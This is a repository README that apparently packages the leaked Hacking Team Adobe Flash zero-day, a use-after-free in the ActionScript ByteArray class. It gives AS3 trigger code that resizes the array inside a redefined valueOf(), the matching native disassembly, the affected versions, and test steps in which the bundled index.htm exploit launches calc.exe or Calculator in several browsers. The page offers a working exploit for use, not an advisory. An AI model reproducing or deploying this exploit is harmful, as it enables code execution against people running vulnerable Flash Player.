Flash0day

Aplicacion que ejecuta el 0day de flash (Hacking Team)

1. BACKGROUND

http://en.wikipedia.org/wiki/Adobe_Flash_Player

Congrats! You are reading about the most beautiful Flash bug for the last four years since CVE-2010-2161.

2. DESCRIPTION

The use-after-free vulnerability exists inside the built-in ByteArray class http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

Let's create a simple ByteArray object:

var ba:ByteArray = new ByteArray();
ba.length = 8;
ba[1] = 1;

Now we can access ba[] items and write numeric byte values into ba[]. Also we are allowed to write objects into ByteArray. For example:

var obj = new MyClass();
ba[0] = obj;

AS3 will try to implicitly convert the MyClass object into numeric value by calling the MyClass.valueOf() method. This method can be easily redefined within the user's code:

class MyClass
{
    prototype.valueOf = function()
    {
        ba.length = 88; // reallocate ba[] storage
        return 0;       // return byte for ba[offset]
    }
}

Let's see how that implicit conversion occurs inside the native code:

push esi
mov  eax, [esp+8]                // the offset value from "ba[offset] = obj"
push eax
add  ecx, 0x18                   // ecx = this = "ba" object pointer
call ByteArray.getStorage()      // gets ba[offset] storage pointer and
mov  esi, eax                    // saves it in esi

mov  ecx, [esp+0xC]              // "obj" pointer
push ecx
call AvmCore.toInteger()         // call MyClass.valueOf()
add  esp,4
mov  [esi], al                   // writes returned byte into array

pop  esi
ret  8

On high-level language this will look like:

void ByteArray.setObjInternal(int offset, obj)
{
    byte* dest = this.getStorage(offset);
    dest* = toInteger(obj);
}

So the array storage pointer is saved in local variable, then AS3 valueOf() is invoked from the native code and returned byte is written into destination pointer at the end. If valueOf() changes the length of byte array (see above) and reallocates its internal storage, then local destination pointer becomes obsolete and further usage of that pointer can lead to UaF memory corruption.

Using this vulnerability, it's very easy to control what byte will be written and at which offset this corruption will occur.

3. AFFECTED SOFTWARE

Adobe Flash Player 9 and higher

4. TESTING

Open the test "index.htm" file in your browser and press the button.

on Windows: Calc.exe should be popped on desktop IE. Calc.exe should be run as a non-GUI child process in metro IE. Payload returns 0 from CreateProcessA("calc.exe") inside Chrome/FF sandbox.

on OS X: Calculator is launched in FF or standalone Flash Player projector. Payload returns 1 from vfork() in Safari sandbox.